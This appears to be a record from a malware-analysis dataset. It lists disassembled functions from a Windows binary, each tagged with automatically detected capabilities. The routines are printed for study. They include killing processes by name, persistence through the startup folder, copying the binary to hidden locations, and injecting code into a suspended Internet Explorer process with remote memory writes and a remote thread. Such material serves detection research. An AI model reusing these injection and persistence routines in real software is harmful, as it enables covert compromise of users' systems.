joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403060
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00403010
test eax, eax
je 0x403087
mov eax, 1
jmp 0x40312e
push 0x22c
lea ecx, [ebp - 0x240]
push ecx
call fcn.00402250
add esp, 8
mov dword [ebp - 0x240], 0x22c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
lea edx, [ebp - 0x240]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32FirstW
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40310d
mov eax, dword [ebp - 0x238]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4030f2
jmp 0x403121
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403121
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4030c1
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x403140
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [ebp + 8]
push eax
push str._s.
lea ecx, [ebp - 0x468]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x258]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4031ee
mov ecx, dword [ebp - 0x258]
and ecx, 0x10
je 0x40318c
jmp 0x4031d9
lea edx, [ebp - 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jg 0x4031aa
jmp 0x4031d9
mov eax, dword [ebp - 0x25c]
lea ecx, [ebp + eax*2 - 0x232]
mov dword [ebp - 8], ecx
push 0x40de28
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4031d9
lea eax, [ebp - 0x22c]
push eax
call fcn.00403060
lea ecx, [ebp - 0x258]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40317f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret 4
Function at 0x403270
Capabilities:
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x678
push 0x1e
lea eax, [ebp - 0x228]
push eax
call fcn.00402250
add esp, 8
push 0
push 0x24
lea ecx, [ebp - 0x208]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov word [ebp - 0x204], 0
lea edx, [ebp - 0x208]
push edx
push str._sRecycler
lea eax, [ebp - 0x650]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 9
lea ecx, [ebp - 0x678]
push ecx
call fcn.00403200
add esp, 8
mov word [ebp - 0x666], 0
lea edx, [ebp - 0x678]
push edx
lea eax, [ebp - 0x208]
push eax
push str._s_s
lea ecx, [ebp - 0x440]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea edx, [ebp - 0x650]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x440]
push eax
lea ecx, [ebp - 0x650]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
cmp eax, 1
je 0x4033b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x4033b0
push 0x1e
lea edx, [ebp - 0x228]
push edx
call fcn.00402250
add esp, 8
mov dword [ebp - 0x224], 3
mov word [ebp - 0x218], 0x414
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x22c]
mov word [ebp + ecx*2 - 0x440], 0
lea edx, [ebp - 0x440]
mov dword [ebp - 0x220], edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
lea ecx, [ebp - 0x440]
push ecx
lea edx, [ebp - 0x650]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x22c]
mov word [ebp + ecx*2 - 0x440], 0
mov dword [ebp - 0x224], 3
mov word [ebp - 0x218], 0x414
lea edx, [ebp - 0x440]
mov dword [ebp - 0x220], edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov esp, ebp
pop ebp
ret
Function at 0x4037a0
Capabilities:
Enumerate files on windows
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
lea eax, [ebp - 0x460]
push eax
push 0x40e3fc
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4038ab
mov ecx, dword [ebp - 0x460]
and ecx, 0x10
je 0x4037de
jmp 0x40388f
lea edx, [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 3
jg 0x4037ff
jmp 0x40388f
mov eax, dword [ebp - 0x468]
lea ecx, [ebp + eax*2 - 0x43a]
mov dword [ebp - 0x464], ecx
push 0x40de28
mov edx, dword [ebp - 0x464]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40388f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x440]
jne 0x403835
jmp 0x40388f
lea ecx, [ebp - 0x434]
push ecx
call fcn.00403060
push 0x80
lea edx, [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40e3d8
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x434]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0x460]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4037ce
cmp dword [ebp - 0x20c], 0xffffffff
jne 0x4038c1
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret

Function at 0x4038d0
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
lea eax, [ebp - 0x250]
push eax
push str..gonewiththewings
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0xffffffff
jne 0x4038fc
jmp 0x403940
push 0x80
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 0x254]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4038fc
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x404560
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [ebp + 0xc], 0
je 0x404581
push 0
push 7
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
jmp 0x4045d7
push 0
push 0x24
lea ecx, [ebp - 0x208]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov word [ebp - 0x204], 0
cmp dword [ebp + 8], 0
je 0x4045be
lea edx, [ebp - 0x208]
push edx
push str._sProgramDataMicrosoftWindowsStart_MenuProgramsStartup
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x4045d7
lea ecx, [ebp - 0x208]
push ecx
push str._sDocuments_and_SettingsAll_usersStart_MenuProgramsStartup
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x404cc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Get common file path
Get program files directory
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov dword [ebp - 0x404], 0x26
lea eax, [ebp - 0x400]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x404]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Internet_Explorer_
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40d630
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x44
push 0
lea ecx, [ebp - 0x460]
push ecx
push 0
call fcn.004055d0
add esp, 0x10
push 0x10
push 0
lea edx, [ebp - 0x414]
push edx
push 0
call fcn.004055d0
add esp, 0x10
mov dword [ebp - 0x460], 0x44
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x460]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x468], 0
push 4
push 0x3000
push 0x9f3
push 0
mov eax, dword [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x46c], eax
lea ecx, [ebp - 0x468]
push ecx
push 0x9f3
push 0x413f00
mov edx, dword [ebp - 0x46c]
push edx
mov eax, dword [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x468], 0
push 0x40
push 0x3000
mov ecx, 0x405660
sub ecx, 0x404e70
push ecx
push 0
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x464], eax
lea eax, [ebp - 0x468]
push eax
mov ecx, 0x405660
sub ecx, 0x404e70
push ecx
push 0x404e70
mov edx, dword [ebp - 0x464]
push edx
mov eax, dword [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov ecx, dword [ebp - 0x46c]
push ecx
mov edx, dword [ebp - 0x464]
push edx
push 0
push 0
mov eax, dword [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp - 0x40c]
mov dword [0x414934], ecx
mov esp, ebp
pop ebp
ret
Function at 0x405cd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x400
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x200
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x200
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
mov eax, dword [ebp - 0x18]
push eax
call fcn.0040a410
add esp, 4
push 9
lea ecx, [ebp - 0x14]
push ecx
call fcn.0040aa80
add esp, 8
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str..exe
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x406050
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 0x244], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x238], 0xc
cmp dword [ebp + 0x18], 1
jne 0x406091
mov eax, dword [0x414938]
add eax, 0x94
mov dword [ebp - 0x240], eax
jmp 0x4060a4
push 0x2000
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x240], eax
mov ecx, 1
test ecx, ecx
je 0x40623f
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
push 0x22c
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call sub.KERNEL32.dll_Process32FirstW
mov edx, dword [ebp - 0x238]
push edx
push 0x41123c
lea eax, [ebp - 0x20c]
push eax
call fcn.0040ad40
add esp, 0xc
test eax, eax
jne 0x4061cf
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
call fcn.0040ad40
add esp, 0xc
cmp eax, 1
jne 0x4061cf
mov ecx, dword [ebp - 0x248]
cmp ecx, dword [ebp - 0x228]
jne 0x406149
jmp 0x4061cf
mov dword [ebp - 0x23c], 0
mov edx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x240]
cmp dword [eax + edx*4], 0
je 0x40618f
mov ecx, dword [ebp - 0x23c]
mov edx, dword [ebp - 0x240]
mov eax, dword [edx + ecx*4]
cmp eax, dword [ebp - 0x228]
jne 0x40617e
jmp 0x4061cf
mov ecx, dword [ebp - 0x23c]
add ecx, 1
mov dword [ebp - 0x23c], ecx
jmp 0x406153
mov edx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x228]
mov dword [eax + edx*4], ecx
push 1
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0
push 0
call fcn.00405df0
add esp, 0x18
test eax, eax
je 0x4061cf
mov dword [ebp - 0x244], 1
push 0x22c
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call sub.KERNEL32.dll_Process32NextW
cmp eax, 1
je 0x4060f3
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 0x1c], 1
jne 0x40622b
jmp 0x40623f
mov eax, dword [ebp - 0x240]
push eax
call fcn.004065b0
add esp, 4
jmp 0x4060a4
cmp dword [ebp + 0x18], 0
jne 0x406254
mov ecx, dword [ebp - 0x240]
push ecx
call fcn.0040a410
add esp, 4
mov eax, dword [ebp - 0x244]
mov esp, ebp
pop ebp
ret

Function at 0x406260
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop ebp
ret
Function at 0x406560
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0
jbe 0x4065a3
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4065a3
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4073e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
je 0x407402
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [str.Windows_Live_]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*2 + 0x200]
push eax
call fcn.0040a350
add esp, 4
mov dword [ebp - 8], eax
cmp dword [0x411e98], 1
jne 0x407439
mov ecx, dword [0x411310]
mov dword [ebp - 4], ecx
jmp 0x407442
mov edx, dword [0x41130c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edx, dword [str.Windows_Live_]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp dword [ebp + 8], 0
je 0x40747b
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x407490
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov dword [ebp - 0x128], 0
push 0x11c
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push str.IsWoW64Process
push 0x40ea5c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x411eac], eax
cmp dword [ebp - 0x11c], 6
jb 0x407538
cmp dword [ebp - 0x118], 2
jb 0x407538
cmp dword [0x411eac], 0
jne 0x407538
push str.kernelbase.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
je 0x407538
push str.IsWoW64Process
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x411eac], eax
cmp dword [0x411eac], 0
je 0x407555
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x411eac]
cmp dword [ebp - 0x128], 0
jne 0x4075e5
push str.GetSystemWow64DirectoryW
push 0x40ea5c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x411eb0], eax
cmp dword [0x411eb0], 0
je 0x4075e5
push 0x200
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x12c], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x1ff
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [0x411eb0]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
je 0x4075d6
mov edx, dword [ebp - 0x12c]
movzx eax, word [edx]
test eax, eax
je 0x4075d6
mov dword [ebp - 0x128], 1
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.0040a410
add esp, 4
mov eax, dword [ebp - 0x128]
mov esp, ebp
pop ebp
ret
Function at 0x4075f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push 0x9c
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x9c], 5
ja 0x407636
mov eax, 1
jmp 0x407638
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x407640
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push 0x9c
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x9c], 6
jne 0x40768f
cmp dword [ebp - 0x98], 2
jb 0x40768f
mov eax, 1
jmp 0x407691
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4076a0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push 0x9c
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov byte [ebp - 0xa1], 0
cmp dword [0x411e98], 1
jne 0x4076f9
movzx edx, byte [ebp - 0xa1]
or edx, 0x80
mov byte [ebp - 0xa1], dl
cmp dword [ebp - 0x9c], 5
ja 0x40773b
cmp dword [ebp - 0x98], 1
jbe 0x407714
movzx eax, byte [ebp - 6]
cmp eax, 1
jne 0x407726
movzx ecx, byte [ebp - 0xa1]
or ecx, 1
mov byte [ebp - 0xa1], cl
jmp 0x407736
movzx edx, byte [ebp - 0xa1]
or edx, 0x10
mov byte [ebp - 0xa1], dl
jmp 0x4077f6
cmp dword [ebp - 0x9c], 6
jne 0x40777a
cmp dword [ebp - 0x98], 0
jne 0x40777a
movzx eax, byte [ebp - 6]
cmp eax, 1
jne 0x407768
movzx ecx, byte [ebp - 0xa1]
or ecx, 2
mov byte [ebp - 0xa1], cl
jmp 0x407778
movzx edx, byte [ebp - 0xa1]
or edx, 0x10
mov byte [ebp - 0xa1], dl
jmp 0x4077f6
cmp dword [ebp - 0x9c], 6
jne 0x4077b9
cmp dword [ebp - 0x98], 1
jne 0x4077b9
movzx eax, byte [ebp - 6]
cmp eax, 1
jne 0x4077a7
movzx ecx, byte [ebp - 0xa1]
or ecx, 4
mov byte [ebp - 0xa1], cl
jmp 0x4077b7
movzx edx, byte [ebp - 0xa1]
or edx, 0x10
mov byte [ebp - 0xa1], dl
jmp 0x4077f6
cmp dword [ebp - 0x9c], 6
jne 0x4077f6
cmp dword [ebp - 0x98], 2
jb 0x4077f6
movzx eax, byte [ebp - 6]
cmp eax, 1
jne 0x4077e6
movzx ecx, byte [ebp - 0xa1]
or ecx, 8
mov byte [ebp - 0xa1], cl
jmp 0x4077f6
movzx edx, byte [ebp - 0xa1]
or edx, 0x10
mov byte [ebp - 0xa1], dl
mov al, byte [ebp - 0xa1]
mov esp, ebp
pop ebp
ret

Function at 0x407e20
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x4116cc
call fcn.00407e70
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x407e69
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407e4e
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x407e70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
push 0x28
push 0
lea eax, [ebp - 0xb0]
push eax
call fcn.0040a430
add esp, 0xc
push 0x80
push 0
lea ecx, [ebp - 0x80]
push ecx
call fcn.0040a430
add esp, 0xc
push 0x400
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x88], eax
cmp dword [0x411e98], 1
jne 0x407ec9
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x84], eax
jmp 0x407ed4
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp - 0x88]
push edx
call fcn.00409db0
add esp, 4
push 0x41185c
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x407f68
lea edx, [ebp - 0xb0]
push edx
call fcn.00407fe0
add esp, 4
lea eax, [ebp - 0xb0]
push eax
push 0x41185c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
lea eax, [ebp - 0x80]
push eax
call fcn.0040ac20
add esp, 0x10
lea ecx, [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x407fd3
push 0x41184c
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x407fbf
lea edx, [ebp - 0xb0]
push edx
call fcn.004080f0
add esp, 4
lea eax, [ebp - 0xb0]
push eax
push 0x41184c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
lea eax, [ebp - 0x80]
push eax
call fcn.0040ac20
add esp, 0x10
lea ecx, [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x407fd3
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x88]
mov esp, ebp
pop ebp
ret